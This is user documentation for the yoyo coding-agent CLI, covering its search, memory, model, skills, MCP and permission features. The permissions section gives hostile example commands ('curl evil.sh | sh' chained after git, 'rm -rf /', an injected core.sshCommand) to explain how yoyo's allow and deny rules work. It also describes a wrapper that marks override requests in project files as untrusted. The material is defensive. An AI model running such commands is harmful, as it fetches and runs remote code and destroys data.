The /find command does fuzzy substring matching across all tracked files in your project (via git ls-files, falling back to a directory walk if not in a git repo). Results are ranked by relevance — filename matches score higher than directory matches, and matches at the start of the filename rank highest.
If the directory walk cannot read a directory (for example, permission denied), the matches it did find are still printed, a note on stderr names the unreadable directories, and yoyo find exits 1, following find(1). The git-backed listing does not walk the filesystem, so it is unaffected.
/find main
3 files matching 'main':
src/main.rs
site/book/index.html
scripts/main_helper.sh
/find .toml
2 files matching '.toml':
Cargo.toml
docs/book.toml
/grep — Search file contents directly
The /grep command searches file contents without using the AI — no tokens, no API call, instant results. This is one of the fastest ways to find code in your project.
/grep TODO
src/main.rs:42: // TODO: handle edge case
src/cli.rs:15: // TODO: add validation
2 matches
/grep "fn main" src/
src/main.rs:10: fn main() {
1 match
/grep -s MyStruct src/lib.rs
src/lib.rs:5: pub struct MyStruct {
src/lib.rs:20: impl MyStruct {
2 matches
Features:
- Case-insensitive by default — use
-sor--casefor case-sensitive search - Git-aware — uses
git grepin git repos (faster, respects.gitignore), falls back togrep -rn - Colored output — filenames in green, line numbers in cyan, matches highlighted in yellow
- Truncated results — shows up to 50 matches with a "narrow your search" hint
- Optional path —
/grep pattern src/restricts search to a specific file or directory - Literal flag names —
--ends flag parsing, so/grep -- -C src/searches for the literal text-C. A value-taking flag whose value is missing or unparseable (e.g./grep -C src/) is treated as the search pattern rather than being silently dropped. - Errors are not "no matches" — if the path does not exist or cannot be read,
/grepprints grep's error (to stderr) instead ofNo matches found., andyoyo grepexits 2. Matches found before the error are still shown. A genuine search with zero matches still printsNo matches found.and exits 0. Inside a git repo the search runs throughgit grep, which cannot search a path outside the repository, so that also reports an error.
The /tree command uses git ls-files to show tracked files in a visual tree structure, automatically respecting your .gitignore. You can specify a depth limit:
/tree # default: 3 levels deep
/tree 1 # just top-level directories and their files
/tree 5 # deeper view
Example output:
src/
cli.rs
format.rs
main.rs
prompt.rs
Cargo.toml
README.md
/index — Codebase indexing
The /index command builds a lightweight in-memory index of your project's source files. For each text file tracked by git (or found via directory walk), it shows:
- Path — the file path relative to the project root
- Lines — the total line count
- Summary — the first meaningful line (skipping blank lines), which is typically a doc comment, module declaration, or import statement
Binary files (images, fonts, archives, etc.) are automatically skipped.
/index
Building project index...
Path Lines Summary
────────────────── ───── ────────────────────────────────────────
Cargo.toml 18 [package]
src/cli.rs 400 //! CLI argument parsing and configuration.
src/commands.rs 4500 //! REPL command handlers for yoyo.
src/main.rs 850 //! yoyo — a coding agent that evolves itself.
README.md 50 # yoyo
5 files, 5818 total lines
This gives you a quick bird's-eye view of the entire codebase without needing to run find, list_files, or wc -l manually.
/map — Structural codebase map
The /map command generates a structural summary of your codebase, extracting function signatures, struct/class/trait/enum definitions, constants, and other symbols from source files. This is like a "table of contents" for your entire project.
/map
Building repo map...
src/main.rs (850 lines)
pub fn main
pub struct AgentConfig
impl AgentConfig
src/cli.rs (400 lines)
pub fn parse_args
pub struct Config
pub const SYSTEM_PROMPT
...
45 symbols across 8 files (using ast-grep)
Usage:
| Command | Description |
|---|---|
/map | Map entire project (public symbols only) |
/map src/ | Map only files under a specific directory |
/map --all | Include private/non-exported symbols |
/map --all src/ | All symbols under a specific directory |
/map --regex | Force regex backend (skip ast-grep) |
Supported languages: Rust, Python, JavaScript, TypeScript, Go, Java, C, C++, Ruby, Shell.
ast-grep integration: When ast-grep (sg) is installed, /map uses it for more accurate AST-based symbol extraction. When ast-grep is not available, it falls back to built-in regex extractors. The output footer shows which backend was used. Use --regex to force the regex backend for comparison or debugging.
Automatic system prompt integration: The repo map is automatically included in the system prompt at the start of every session, giving the AI structural awareness of your codebase without you needing to manually add files. This is similar to Aider's repo-map feature. The system prompt version is limited to public symbols and capped at ~16K characters to avoid bloating context.
Project Onboarding with /init
The /init command scans your project and generates a YOYO.md context file automatically. It:
- Detects the project type — Rust, Node.js, Python, Go, or Makefile-based projects
- Finds the project name — from
Cargo.toml,package.json,README.mdtitle, or directory name - Lists important files — README, config files, CI configs, lock files, etc.
- Lists key directories —
src/,tests/,docs/,scripts/, etc. - Generates build commands —
cargo build,npm test,go test ./..., etc. based on project type
/init
Scanning project...
Detected: Rust
✓ Created YOYO.md (32 lines) — edit it to add project context.
If YOYO.md or CLAUDE.md already exists, /init won't overwrite it. The generated file is a starting point — edit it to add your project's specific conventions and instructions.
If the project already has instruction files from other AI tools (.cursorrules, AGENTS.md, .github/copilot-instructions.md, CLAUDE.md), /init will:
- Print a notice: "Found existing AI configs: .cursorrules — yoyo reads these automatically"
- Add an "Other AI Tool Configs" section to the generated YOYO.md listing the found files
yoyo reads these files automatically for additional project context, so there's no need to duplicate their content.
Project Memory
| Command | Description |
|---|---|
/remember <note> | Save a project-specific note that persists across sessions |
/memories [query] | List all memories, or search by keyword |
/forget <number> | Remove a memory by its number |
Project memories let you teach yoyo things about your project that it should always know — build quirks, team conventions, infrastructure requirements. Memories are stored in .yoyo/memory.json in your project root and are automatically injected into the system prompt at the start of every session.
Example workflow
> /remember this project uses sqlx for database access
✓ Remembered: "this project uses sqlx for database access" (1 total memories)
> /remember tests require docker running
✓ Remembered: "tests require docker running" (2 total memories)
> /memories
Project memories (2):
[0] this project uses sqlx for database access (2026-03-15 08:32)
[1] tests require docker running (2026-03-15 08:33)
> /forget 0
✓ Forgot: "this project uses sqlx for database access" (1 memories remaining)
> /memories docker
Found 1 memory matching 'docker':
[1] tests require docker running (2026-03-15 08:33)
Use /memories <query> to filter by keyword when you have many memories. The search is case-insensitive.
Use /remember any time you find yourself repeating the same instruction to the agent. The memory will be there next time you start a session in this project directory.
Custom Slash Commands
You can define your own slash commands by placing .md files in a commands directory. yoyo looks in two locations:
| Location | Scope | Priority |
|---|---|---|
.yoyo/commands/ | Project-local | Higher (overrides global) |
~/.yoyo/commands/ | Global (all projects) | Lower |
The filename (without .md) becomes the command name. For example, creating .yoyo/commands/review.md registers a /review custom command. When you type /review, the file's content is sent as the user message to the agent.
Example
Create a custom /summarize command:
mkdir -p .yoyo/commands
cat > .yoyo/commands/summarize.md << 'EOF'
Read the current codebase and provide a high-level summary of:
1. What this project does
2. Key architectural decisions
3. Main dependencies
4. Areas that could use improvement
EOF
Now typing /summarize in the REPL sends that prompt to the agent.
Tips
- Project-local commands (
.yoyo/commands/) override global ones (~/.yoyo/commands/) with the same name - Share with your team — commit
.yoyo/commands/to version control so everyone gets the same custom commands - Global commands are great for personal workflows you use across all projects (e.g.,
/standup,/changelog-draft) - Custom commands appear alongside built-in commands — if a custom command has the same name as a built-in, the built-in takes precedence
- Custom commands show up in
/helpunder a "Custom" section, and/help <custom-cmd>displays the full.mdfile content - Tab-completing
/helpincludes custom command names
Unknown commands
If you type a /command that yoyo doesn't recognize, it will tell you:
unknown command: /foo
type /help for available commands
Note: lines starting with / that contain spaces (like /model name) are treated as command arguments, not unknown commands.
Multi-Line Input
yoyo supports two ways to enter multi-line input.
Backslash continuation
End a line with \ to continue on the next line:
main > Please review this code and \
... check for any bugs or \
... performance issues.
The backslash and newline are removed, and the lines are joined. The ... prompt indicates yoyo is waiting for more input.
Code fences
Start a line with triple backticks (```) to enter a fenced code block. Everything until the closing ``` is collected as a single input:
main > ```
... Here is a function I want you to review:
...
... fn parse(input: &str) -> Result<Config, Error> {
... let data = serde_json::from_str(input)?;
... Ok(Config::from(data))
... }
...
... Is this handling errors correctly?
... ```
This is useful for pasting code or structured text that spans multiple lines.
Models & Providers
yoyo supports 13 providers out of the box — from Anthropic and OpenAI to local models via Ollama.
Default model
The default model is claude-opus-5-5 (Anthropic). You can change it at startup or mid-session.
Changing the model
At startup:
yoyo --model claude-sonnet-4-20250514
yoyo --model gpt-4o --provider openai
yoyo --model llama3.2 --provider ollama
During a session:
/model claude-sonnet-4-20250514
/model list
/model list openai
Note: Switching models with
/modelpreserves your conversation history — you can change models mid-task without losing context. Use/model listto see all available models grouped by provider, or/model info <name>to see pricing, context window, and provider details for any model.
Providers
Use --provider <name> to select a provider. Each provider has a default model and an environment variable for its API key.
Tip: If you run
yoyowithout any API key configured, an interactive setup wizard will walk you through choosing a provider and entering your key. You can also save the config to.yoyo.tomldirectly from the wizard.
| Provider | Default Model | API Key Env Var |
|---|---|---|
anthropic (default) | claude-opus-5-5 | ANTHROPIC_API_KEY |
openai | gpt-6-sol | OPENAI_API_KEY |
google | gemini-3.8-flash | GEMINI_API_KEY or GOOGLE_API_KEY |
openrouter | anthropic/claude-sonnet-4-20250514 | OPENROUTER_API_KEY |
ollama | llama3.2 | (none — local) |
xai | grok-3 | XAI_API_KEY |
groq | llama-3.3-70b-versatile | GROQ_API_KEY |
deepseek | deepseek-chat | DEEPSEEK_API_KEY |
mistral | mistral-large-latest | MISTRAL_API_KEY |
cerebras | llama-3.3-70b | CEREBRAS_API_KEY |
zai | glm-4-plus | ZAI_API_KEY |
minimax | MiniMax-M2.7 | MINIMAX_API_KEY |
custom | claude-opus-5-5 | (none — bring your own) |
Note: the table shows each provider's default model — others are available. For example, MiniMax's flagship
MiniMax-M3can be selected via--model MiniMax-M3or picked in the setup wizard.
Examples
# OpenAI
OPENAI_API_KEY=sk-... yoyo --provider openai
# Google Gemini
GOOGLE_API_KEY=... yoyo --provider google --model gemini-2.5-pro
# Local with Ollama (no API key needed)
yoyo --provider ollama --model llama3.2
# Custom endpoint (OpenAI-compatible API)
yoyo --provider custom --base-url http://localhost:8080/v1 --model my-model
You can also set these in .yoyo.toml:
provider = "openai"
model = "gpt-4o"
base_url = "https://api.openai.com/v1"
Route sub-agents to a cheaper model
A sub-agent (sub_agent or explore_agent) inherits the session's model by default. If
your exploration and bulk-delegation work does not need your main model, point it at a
cheaper one:
model = "claude-opus-4-6"
sub_agent_model = "claude-haiku-4-5"
This exists for cost routing, not capability — it is purely a cost lever, and the child is otherwise unchanged. Only the model id moves.
- Absent (the default) means the child runs on your session's model — nothing changes for anyone who does not set it.
- The child is dispatched against your session's provider and API key, so write the
bare model id from that provider. A
provider/modelvalue does not switch providers. - The failure report a parent sees on a dead sub-agent names the model the child actually ran on, so the cheaper route is visible rather than implied.
Cost estimation
Cost estimation is built in for many providers:
| Model Family | Input (per MTok) | Output (per MTok) |
|---|---|---|
| Opus 4.5/4.6 | $5.00 | $25.00 |
| Opus 4/4.1 | $15.00 | $75.00 |
| Sonnet | $3.00 | $15.00 |
| Haiku 4.5 | $1.00 | $5.00 |
| Haiku 5.5 | $0.10 (prompts ≤100K tokens; $0.50 above) | $0.50 ($2.50 above) |
| Haiku 3.5 | $0.80 | $4.00 |
Cost estimates are also available for OpenAI, Google, DeepSeek, Mistral, xAI, Groq, ZAI and more.
On provider = "openai", the exact ids gpt-6-astra, gpt-6-sol, gpt-6-luna and gpt-6.1-sol use
yoagent's own preset: a 1,050,000-token window, 64K default max_tokens (128K maximum), and its price,
including the higher whole-request rate above 272K prompt tokens (gpt-6.1-sol has its own
price, not gpt-6-sol's). Other ids keep the generic OpenAI defaults.
The same holds for six more exact ids on their own provider: gemini-4-argon and gemini-3.8-flash
(google: 1,048,576-token window, 65,536 max_tokens, which is also the declared output maximum),
grok-4.7 (xai: 500,000-token window, 64K default max_tokens, and the whole-request rate at
200K prompt tokens and above), mistral-large-4 (mistral: 1,000,000-token window, 32K default
max_tokens) and glm-5.3 / glm-5.3-flash (zai: 1,000,000-token window, 128K max_tokens).
These come from yoagent's own preset table (ModelConfig::preset), so they are also known ids:
no Unknown model warning. xAI and Mistral publish no output maximum, and yoyo declares none for
Z.ai either, so yoyo does not warn about a higher max_tokens on those three. Gemini 4 Argon, Gemini 3.8 Flash and Mistral Large 4 are priced at the vendor's
regular rate, so while an introductory or launch price is running /cost can read up to twice
the actual bill. Near-miss ids (gemini-3.8-flash-lite, grok-4.7-mini, mistral-large-latest,
glm-5.4) keep the generic defaults.
Models with no preset run on guessed limits
A model id yoyo has no preset for runs on its provider's guess: the limits that provider hands
every id it does not know. On the OpenAI-compatible providers openai, openrouter, xai, groq,
mistral, cerebras, github and zai that is a 128,000-token context window and
max_tokens = 4096; on minimax a 1M window and max_tokens = 4096; on google a 1M window and
max_tokens = 8192 (this is what gemini-2.5-pro, gemini-2.5-flash, gemini-2.5-flash-lite and
gemini-2.0-flash run on today). That cap covers reasoning plus answer on every turn, so a newer
model (for example a GPT release newer than yoyo's presets) can be cut short. yoyo now says so once per model on stderr, even in
quiet or piped runs (stdout is unchanged):
warning: no preset is known for openai model 'gpt-6.9-test', so yoyo is using guessed limits: ...
If the model allows more, set the real limits yourself, which also silences the warning:
# .yoyo.toml
max_tokens = 64000
context_window = 400000
or pass --max-tokens / --context-window. Setting max_tokens is what silences it; setting only
context_window keeps the warning about the output cap. ollama and custom endpoints use the same
defaults but are not warned about, since you configure those servers yourself. deepseek has one
preset for the whole provider, so it is not warned about. anthropic ids without a preset and every
bedrock id also run on a guess (200,000 / max_tokens = 16000), but yoyo does not warn about
those yet.
Context window
yoyo assumes a 200,000-token context window (the standard for Claude models). When usage exceeds 80% of this, auto-compaction kicks in. See Context Management.
System Prompts
yoyo has a built-in system prompt that instructs the model to act as a coding assistant. You can override it entirely via CLI flags or config file.
Default behavior
The default system prompt is structured as named, sectioned behavioral defaults:
- Role — work as a coding assistant in the user's terminal; do things rather than just explain how; use tools proactively (read files, run commands, verify work).
- Evidence and honesty — ground claims in what was actually observed; don't invent file paths, APIs, or command output; say so when unsure rather than guess.
- Search craft — locate before reading; prefer targeted search over reading whole files.
- Change discipline — narrow edits, clarify on ambiguity, verify between steps, confirm before destructive operations.
- Bounded verification — verify enough to be confident, give a verdict, and stop re-checking work that's already green.
Custom system prompt
Inline (CLI flag):
yoyo --system "You are a Rust expert. Focus on performance and safety."
From a file (CLI flag):
yoyo --system-file my-prompt.txt
In config file (.yoyo.toml):
# Inline text
system_prompt = "You are a Go expert. Follow Go idioms strictly."
# Or read from a file
system_file = "prompts/system.txt"
If both system_prompt and system_file are set in the config, system_file takes precedence (same as CLI behavior).
Precedence
When multiple sources provide a system prompt, the highest-priority one wins:
--system-file(CLI flag) — highest priority--system(CLI flag)system_file(config file key)system_prompt(config file key)- Built-in default — lowest priority
This means CLI flags always override config file values, and file-based prompts override inline text at each level.
Use cases
Custom system prompts are useful for:
- Specializing the agent — focus on security review, documentation, or a specific language
- Project context — tell the agent about your project's conventions
- Team defaults — commit
.yoyo.tomlwithsystem_promptorsystem_fileso every developer gets the same agent persona - Persona tuning — make the agent more or less verbose, formal, etc.
Viewing the assembled prompt
To see the full system prompt (including project context, repo map, skills, and any overrides), use:
yoyo --print-system-prompt
This prints the complete prompt to stdout and exits — useful for debugging or understanding exactly what context the model receives. It never calls a model, so it works without an API key. It works with other flags:
# See what the prompt looks like with a custom system prompt
yoyo --system "You are a Rust expert" --print-system-prompt
# See the prompt without project context
yoyo --no-project-context --print-system-prompt
Inspecting during a session
Once inside the REPL, use /context system to see the system prompt broken into sections with approximate token counts for each:
/context system
This shows each markdown section (headers like # ... and ## ...), their line counts, estimated token usage, and a brief preview — without leaving the session.
Automatic project context
In addition to the system prompt, yoyo automatically injects project context when available:
- Project instructions — from
YOYO.md(primary),CLAUDE.md(compatibility alias), or.yoyo/instructions.mdAll six project-authored instruction files are read:YOYO.md,CLAUDE.md,.yoyo/instructions.md,AGENTS.md,.cursorrulesand.github/copilot-instructions.md. Each one is injected inside an in-band boundary block that names the file and states it was authored by the repository being worked on rather than by the operator of this session, and that any request inside it (to run commands, change behaviour, reveal or exfiltrate data, or ignore prior instructions) is untrusted data to report rather than an instruction to obey. This is an annotation, not a control: every file's text still reaches the model unchanged inside its markers, and nothing is refused, truncated or gated. A file over 150,000 bytes does print a warning on stderr naming the file, its size and an estimated token count, because the whole file is sent with every request. It is still loaded in full. - Development conventions — auto-detected from project type (Rust, Python, Node, Go, etc.) when no instruction file is present; includes build/test/lint commands
- Project file listing — from
git ls-files(up to 200 files) - Recently changed files — from
git log(up to 20 files) - Git status — current branch, count of uncommitted and staged changes
- Project memories — from
memory/files if present
Use /context to see which project context files are loaded.
Example prompt file
You are a senior Rust developer reviewing code for a production system.
Focus on:
- Error handling correctness
- Memory safety
- Performance implications
- API design
Be concise. Point out issues with line numbers.
Save as review-prompt.txt and use:
# Via CLI flag
yoyo --system-file review-prompt.txt -p "review src/main.rs"
Or set it in your project's .yoyo.toml:
system_file = "review-prompt.txt"
Extended Thinking
Extended thinking gives the model more "reasoning time" before responding. This can improve quality for complex tasks like debugging, architecture decisions, or multi-step refactoring.
Usage
yoyo --thinking high
yoyo --thinking medium
yoyo --thinking low
yoyo --thinking minimal
yoyo --thinking off
Levels
| Level | Aliases | Description |
|---|---|---|
off | none | No extended thinking (default) |
minimal | min | Very brief reasoning |
low | — | Short reasoning |
medium | med | Moderate reasoning |
high | max | Deep reasoning — best for complex tasks |
Levels are case-insensitive: HIGH, High, and high all work.
If you provide an unrecognized level, yoyo defaults to medium with a warning.
When to use it
- Complex debugging — use
highwhen the bug is subtle - Architecture decisions — use
mediumorhighfor design questions - Simple tasks — use
off(the default) for quick file reads, simple edits, etc.
Output
When thinking is enabled, the model's reasoning is shown dimmed in the output so you can follow along without it cluttering the main response.
Trade-offs
Higher thinking levels use more tokens (and thus cost more) but often produce better results for hard problems. For routine tasks, the overhead isn't worth it.
Skills
Skills are markdown files that provide additional context and instructions to yoyo. They're loaded at startup and added to the agent's context.
Usage
yoyo --skills ./skills
You can pass multiple skill directories:
yoyo --skills ./skills --skills ./my-custom-skills
Where skills are found automatically
Without any flag, yoyo reads three directories, lowest precedence first (a skill of the same name in a later directory wins):
~/.config/yoyo/skills/— where/skill installputs things~/.yoyo/skills/— your own global skills.yoyo/skills/— project-local
The first two are yours. The third is authored by whatever repository you are standing in, so it is gated by trust — see the --trust-project note in Permissions. If a project-local skill directory is a symlink that resolves outside the project (for example .yoyo/skills/name -> /elsewhere/name), yoyo refuses that project's skills/ source and says so, naming the skill and where it resolved. A skill's body becomes instructions in the model's context, and the directory chain you trusted is the project's, not wherever a link points. A symlink that stays inside the project is not affected.
What is a skill?
A skill file is a markdown file with YAML frontmatter. It contains instructions, rules, or context that the agent should follow. For example:
---
name: rust-expert
description: Rust-specific coding guidelines
tools: [bash, read_file, edit_file]
---
# Rust Guidelines
- Always use `clippy` before committing
- Prefer `?` over `.unwrap()` in production code
- Write tests for every public function
Built-in skills
yoyo's own evolution is guided by skills in the skills/ directory of the repository:
- evolve — rules for safely modifying its own source code
- communicate — writing journal entries and issue responses
- self-assess — analyzing its own capabilities
- research — searching the web and reading docs
- release — evaluating readiness for publishing
Managing skills
From the REPL, use the /skill command to manage skills:
/skill List all loaded skills
/skill list List loaded skills with name and description
/skill show <name> Show the full content of a skill
/skill path Show the skills directory path(s)
/skill search [query] Search GitHub for community skills
/skill install <path> Install a skill from a local directory
/skill install gh:user/repo Install a skill from a GitHub repository
The install subcommand copies a skill directory into ~/.config/yoyo/skills/<name>/. The source directory must contain a SKILL.md file with YAML frontmatter including a name: field.
That destination is auto-discovered — installed skills load on every subsequent run without any flag. It sits at the lowest precedence of the three auto-discovery directories, so a skill of the same name in .yoyo/skills/ or ~/.yoyo/skills/ still wins (fixed in #728; before that, an installed skill silently never loaded again unless you passed --skills ~/.config/yoyo/skills every time).
Searching for skills
Find community-created skills on GitHub:
# Search for skills by keyword
/skill search research
# Browse all available skills
/skill search
The search command looks for repositories tagged with the yoyo-skill topic on GitHub. Results include the repository name, description, and an install hint. Requires the GitHub CLI (gh).
To make your own skill discoverable, add the yoyo-skill topic to your GitHub repository.
Local install
# Install a local skill
/skill install ./my-custom-skill/
This also works as a shell subcommand:
yoyo skill install ./my-custom-skill/
Remote install from GitHub
Install skills directly from GitHub repositories:
# Install from a repo root
/skill install gh:user/awesome-skill
# Install from a subdirectory
/skill install gh:user/skill-collection/skills/my-skill
# Install from a specific branch
/skill install gh:user/repo@dev
The remote installer uses git clone --depth 1 for efficiency, validates the SKILL.md frontmatter, and cleans up the temporary clone automatically. If no SKILL.md is found at the expected location, yoyo will search the repository and suggest the correct path.
MCP servers
yoyo can connect to Model Context Protocol (MCP) servers, giving the agent access to external tools provided by any MCP-compatible server. Use the --mcp flag with a shell command that starts the server via stdio:
yoyo --mcp "npx -y @modelcontextprotocol/server-fetch"
The flag is repeatable — connect to multiple MCP servers in a single session:
yoyo \
--mcp "npx -y @modelcontextprotocol/server-fetch" \
--mcp "npx -y @modelcontextprotocol/server-github" \
--mcp "python my_custom_server.py"
MCP in config files
You can also configure MCP servers in .yoyo.toml, ~/.yoyo.toml, or ~/.config/yoyo/config.toml, so they connect automatically without needing CLI flags:
mcp = ["npx -y @modelcontextprotocol/server-fetch", "npx open-websearch@latest"]
MCP servers from the config file are merged with any --mcp CLI flags — both sources contribute. CLI flags are additive, not overriding.
Each --mcp command is launched as a child process. yoyo communicates with it over stdio using the MCP protocol, discovers the tools it offers, and makes them available to the agent alongside the built-in tools.
Tool-name collisions
yoyo's builtin tools (bash, read_file, write_file, edit_file, list_files, search, rename_symbol, ask_user, todo, sub_agent, shared_state) take precedence over MCP tools. If an MCP server exposes a tool with one of those names (or a name an earlier MCP server already registered), yoyo connects that server under a prefix instead: every one of its tools is shown to the model as <prefix>__<tool> (for example fs__read_file), and a line on stderr names the colliding tools and the prefix. The prefix is the [mcp_servers.<name>] name with any character outside A-Z a-z 0-9 _ - replaced by _ (capped at 32 characters), or mcp1, mcp2, ... for servers given with --mcp. Servers whose names collide with nothing connect unchanged. If even the prefixed names collide (two servers with the same name), the second server is skipped with a warning, since a duplicate would make the provider API reject the first turn with "Tool names must be unique".
Note: @modelcontextprotocol/server-filesystem exposes read_file and write_file, so it is connected under a prefix rather than skipped. Configured as [mcp_servers.fs], its tools reach the model as fs__read_file, fs__write_file, fs__list_directory, fs__search_files and so on (or mcp1__read_file, ... when it is the first server given with --mcp), while yoyo's own read_file and write_file keep their names. Servers with distinct tool names, such as @modelcontextprotocol/server-fetch or @modelcontextprotocol/server-memory, keep their tools' original names.
OpenAPI specs
You can give yoyo access to any HTTP API by pointing it at an OpenAPI specification file. yoyo parses the spec and registers each endpoint as a callable tool:
yoyo --openapi ./petstore.yaml
Like --mcp, this flag is repeatable:
yoyo --openapi ./api-v1.yaml --openapi ./internal-api.json
Both YAML and JSON spec formats are supported.
Additional configuration flags
Beyond skills, MCP, and OpenAPI, a few other flags fine-tune agent behavior:
--temperature <float>
Set the sampling temperature (0.0–1.0). Lower values make output more deterministic; higher values make it more creative. Defaults to the model's own default.
yoyo --temperature 0.2 # More focused/deterministic
yoyo --temperature 0.9 # More creative/varied
--max-turns <int>
Limit the number of agentic turns (tool-use loops) per prompt. Defaults to 200. Useful for keeping costs predictable or preventing runaway tool loops:
yoyo --max-turns 10
The turn cap (plus loop detection: a run that repeats one identical tool call is steered, then stopped) is what bounds a single prompt. There is no hidden per-prompt token or wall-clock cap. Until #999, a run was also stopped at 1,000,000 cumulative tokens (about turn 16 at a 60K context) and after 10 minutes.
Both flags can also be set in .yoyo.toml:
temperature = 0.5
max_turns = 20
--no-bell
Disable the terminal bell notification that rings after long-running prompts (≥3 seconds). By default, yoyo sends a bell character (\x07) when a prompt completes, which causes most terminals to flash the tab or play a sound — useful when you switch away while waiting. Disable it with the flag or environment variable:
yoyo --no-bell
YOYO_NO_BELL=1 yoyo
--no-update-check
Skip the startup update check. On startup (interactive REPL mode only), yoyo checks GitHub for a newer release and shows a notification if one exists. The check uses a 3-second timeout and fails silently on network errors. Disable it with the flag or environment variable:
yoyo --no-update-check
YOYO_NO_UPDATE_CHECK=1 yoyo
The update check is automatically skipped in non-interactive modes (piped input, --prompt flag).
YOYO_SESSION_BUDGET_SECS
Soft wall-clock budget for an entire yoyo session, in seconds. Unset by default — interactive sessions are unbounded. When set, yoyo exposes a session_budget_remaining() helper that long-running loops (like the self-evolution pipeline) can poll to voluntarily wind down before an external timeout cancels them.
YOYO_SESSION_BUDGET_SECS=2700 yoyo # 45-minute soft budget
The timer starts on the first call to the helper, not at process startup, so CI cold-start time doesn't burn the budget. If the env var is set but unparseable, yoyo falls back to the 45-minute default rather than silently disabling the guard. This was added to mitigate hourly cron overlap in the evolution workflow (#262).
Error handling
If the skills directory doesn't exist or can't be loaded, yoyo prints a warning and continues without skills:
warning: Failed to load skills: ...
This is intentional — skills are optional and should never prevent yoyo from starting.
Permissions & Safety
yoyo asks for confirmation before running tools that modify your system. This page covers how to control that behavior — from interactive prompts to fine-grained allow/deny rules.
Interactive Permission Prompts
By default, yoyo prompts you before executing any potentially dangerous tool:
bash— every shell command asks for[y/N]confirmationwrite_file— creating or overwriting files asks for approvaledit_file— modifying existing files asks for approvalrename_symbol— cross-file symbol renaming asks for approval
Read-only tools (read_file, list_files, search) and the ask_user tool run without prompting.
When a tool needs approval, you'll see something like:
⚡ bash: git status
Allow? [y/N]
Type y to approve, or n (or just press Enter) to deny.
Auto-Approve Everything: --yes / -y
If you trust the agent fully (e.g., in a sandboxed environment or CI pipeline), skip all prompts:
yoyo -y -p "refactor the auth module"
This auto-approves every tool call — bash commands, file writes, everything.
The one exception is your own deny list: a bash command matching a --deny pattern (or .yoyo.toml [permissions] deny) is still blocked under --yes, and still blocked after you answer a (always) at a prompt. It also applies to bash run by sub_agent and explore_agent children.
⚠️ Use with caution. This gives yoyo unrestricted access to your shell and filesystem.
Command Filtering: --allow and --deny
For finer control over which bash commands run automatically, use glob patterns:
yoyo --allow "git *" --allow "cargo *" --deny "rm -rf *"
How it works
- Deny is checked first. If a command matches any
--denypattern, it's rejected immediately — the agent sees an error message and must try something else. For bash this holds on every approval path: under--yes, after an "always" answer, and for commands yoyo's safety analyzer would otherwise warn about. The pattern is matched against the whole command and also against each part of a compound command (split at;,&&,||,|and newlines, but never inside quotes), with leadingVAR=valueassignments andexport/declare/localprefixes ignored, socd x && rm -rf buildandTZ=UTC rm -rf buildboth hitrm -rf *. When a deny list is set, a command whose program name comes from a shell expansion ($VAR,$(...)or backticks, e.g."$CARGO" build) is refused, because the deny list cannot check a name it cannot see; write the command plainly instead. For the same reason, when a deny list is set,evalwith a command substitution in its arguments (eval "$(...)"or backticks, also behindVAR=prefixes,builtinorbash -c) is refused: the command that would run is assembled at runtime, so no spelling check can judge it. The cost: setup such aseval "$(ssh-agent)"is refused while a deny list is set. The way out is to run that setup outside yoyo before starting it, or start the session without a deny list. With no deny list, none of this applies. Limit: this is spelling normalisation, not a shell interpreter, and a deny list over spellings is not a sandbox. - Allow is checked second. If a command matches any
--allowpattern, it runs without prompting. - No match = prompt. Commands that don't match either list get the normal
[y/N]prompt.
Patterns use simple glob matching where * matches any sequence of characters (including empty):
| Pattern | Matches | Doesn't match |
|---|---|---|
git * | git status, git commit -m "hello" | echo git, gitignore |
*.rs | main.rs, src/main.rs | main.py |
cargo * --release | cargo build --release | cargo build --debug |
rm -rf * | rm -rf /, rm -rf /tmp | rm file.txt |
* | everything | — |
Glob matching is purely textual: * spans any characters, including shell operators like
&& and |. Three rules narrow what an allow pattern will auto-approve on top of that raw
match — see option tokens,
chained commands and
cloud-metadata fetches below. None of
them applies to deny, and each narrows only — a rejected match falls through to the normal
prompt rather than being refused.
Both --allow and --deny are repeatable — pass them multiple times to build up your pattern lists.
A wildcard before a literal does not swallow option tokens
A pattern like git * main reads as "the * is the subcommand slot". But * matches any
characters, so on a plain glob it would also match git -c core.sshCommand=<anything> push main
— auto-approving an arbitrary command for the whole session, from a pattern that looks narrow.
So in an allow pattern, when a * is followed by a literal segment, the match is rejected
if the command carries an option token (one starting with -) that you did not write verbatim
in the pattern. The command then falls through to the normal [y/N] prompt — it is not
refused, just not auto-approved.
| Pattern | Command | Result |
|---|---|---|
git * main | git push main | auto-approved — no option tokens |
git * main | git -c core.sshCommand=x push main | prompts — -c isn't in the pattern |
git * --force | git push --force | auto-approved — --force is in the pattern |
Trailing wildcards are unchanged by this rule. cargo *, npm run * and
git commit -m * are honest "anything goes" patterns as far as option tokens go: nothing
follows the *, so this rule does not apply and cargo test --lib auto-approves exactly as
before. They are still narrowed for chained commands — see the next section, which is a
separate question about a separate hazard.
deny is unchanged too, and deliberately so: narrowing an allow pattern removes
privilege, but narrowing a deny pattern would make a fence stop matching. deny = ["git * main"]
still blocks git -c x=y push main.
This closes the wildcard-swallows-options case. It is not a guarantee that an allow pattern is safe against every possible command shape — prefer patterns that are as literal as you can stand.
A wildcard does not auto-approve a chained command
* matches any characters — including &&, ;, || and |. So on a plain glob,
allow = ["git *"], which you write meaning "the * is the git subcommand slot", also matches
git status && curl evil.sh | sh: an arbitrary second command, auto-approved for the whole
session, from a pattern that looks narrow.
So in an allow pattern, a match is rejected when a wildcard spanned a command separator
that the pattern itself does not contain. The command then falls through to the normal [y/N]
prompt — it is not refused, just not auto-approved.
| Pattern | Command | Result |
|---|---|---|
git * | git status | auto-approved — no chain |
git * | git status && curl evil.sh | sh | prompts — && isn't in the pattern |
git * | git status ; rm -rf /tmp/x | prompts — ; isn't in the pattern |
git * | git status | tee /tmp/x | prompts — | isn't in the pattern |
git * | git log $(curl evil.sh) | prompts — a substitution runs a second command |
git * && ls | git status && ls | auto-approved — you asked for that chain |
echo * | echo "a && b" | auto-approved — quoted text is not a chain |
If you want a chain, name it in the pattern. A separator the pattern itself contains is
always allowed, so allow = ["git * && ls"] and the fully literal allow = ["git status && ls"]
both auto-approve exactly what they say.
Quoted regions are ignored when looking for separators, so an operator inside "..." or
'...' is ordinary text — echo "a && b" is one command and auto-approves as before.
Command substitution counts as a chain. $(...) and backticks really do execute a second
command whose output is interpolated, so git log $(curl evil.sh) prompts even though the
mechanism differs from a separator.
deny is unchanged, and deliberately so: narrowing an allow pattern removes privilege, but
narrowing a deny pattern would make a fence stop matching — it would fail open.
deny = ["git *"] still blocks git status && curl x.
